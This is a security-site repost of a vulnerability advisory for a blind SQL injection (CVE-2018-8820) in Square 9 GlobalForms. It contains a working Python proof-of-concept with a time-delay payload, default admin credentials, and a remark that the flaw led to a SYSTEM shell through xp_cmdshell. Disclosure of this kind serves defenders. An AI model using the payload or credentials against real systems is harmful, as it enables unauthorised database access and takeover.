首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Square 9 GlobalForms 6.2.x Blind SQL Injection
来源:hateshape at gmail.com 作者:Damstedt 发布时间:2018-03-30  
# Blind SQL Injection in Square 9 GlobalForms <= 6.2.x (CVE-2018-8820)

## Product Description

GlobalFormsA(r) is Square 9as powerful web forms product.  GlobalForms can
live separate of GlobalSearch and runs on a separate Web Engine.

## Vulnerability Type

Blind SQL injection

## Vulnerability Description

Square 9 GlobalForms versions 6.2.x (and possibly others) are vulnerable to
blind SQL injection in the match parameter wihtin the
"/frevvo/web/tn/d/users?match=" path. This is a remotely accessible,
authenticated function within default Square 9 GlobalForms instances.

## Exploit

A proof of concept is available here:
https://github.com/hateshape/frevvomapexec

frevvomapexec.py:

#!/usr/bin/python
import sys
import argparse
import datetime
import requests
from argparse import RawTextHelpFormatter
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def sqli(target, port, username, password, seconds):
    sqlpayload = "')waitfor%20delay'0%3a0%3a" + str(seconds) + "'--"
    s = requests.session()
    login_data = {'username': 'admin@d', 'password': 'admin', 'lAction':'Login'}
    m = s.post('https://' + target + ':' + port + '/frevvo/web/login', data=login_data, verify=False
)

    print "Delay #1: " + str(datetime.datetime.utcnow())
    r = s.get(('https://' + target + ':' + port + "/frevvo/web/tn/d/users?match=t" + sqlpayload), verify=False, cookies=s.cookies)

    print "Delay #2: " +  str(datetime.datetime.utcnow())

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="""
            
        Proof of Concept script for vulnerability validation.
         - Type of issue: Authenticated SQL injection
         - Product: Square 9 GlobalForms 6.2 
         - Version: v6.2.1.27377""",formatter_class=RawTextHelpFormatter)

    Required = parser.add_argument_group('Required')
    #Required
    Required.add_argument('-t', '--target', help='Target URL or IP Address', required=True)
    Required.add_argument('-s','--seconds',  help='Number of seconds to pause Frevvo', required=True)
    Required.add_argument('-o','--port',  help='Frevvo Web Server Port', required=True)

    #Optional
    parser.add_argument('-u', '--username', help='Login Username', default='admin', action="store_true", required=False)
    parser.add_argument('-p', '--password', help='Login Password', default='admin@d', action="store_true", required=False)
    
    args = parser.parse_args()

    sqli(args.target,args.port,args.username,args.password,args.seconds)

    if len(sys.argv) == 1:
parser.print_help()



## Versions

Square 9 GlobalForms <= 6.2.x

## Attack Type

Authenticated, Remote

# Default Credentials
Username: admin
Password: admin@d

## Impact

The SQL injection vulnerability can be used to exfiltrate sensitive
information from the MSSQL DBMS used with GlobalForms. In every case that
was tested the DBMS was running with SYSTEM privileges and was successfully
used in conjunction with xp_cmdshell to establish an interactive shell.

## Credit

This vulnerability was discovered by Darrell Damstedt <hateshape () gmail
com>.

## References

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8820



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SysGauge 4.5.18 Denial Of Serv
·Allok AVI DivX MPEG To DVD Con
·TwonkyMedia Server 7.0.11-8.5
·Drupal 7.0 < 7.31 - 'Drupalged
·Tenda N11 Wireless Router 5.07
·GitStack - Unsanitized Argumen
·ClipBucket beats_uploader Unau
·Exodus Wallet (ElectronJS Fram
·Laravel Log Viewer < 0.13.0 -
·Joomla Component Fields - SQLi
·Fast AVI MPEG Splitter 1.2 - S
·Tenda W308R V2 Wireless Router
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved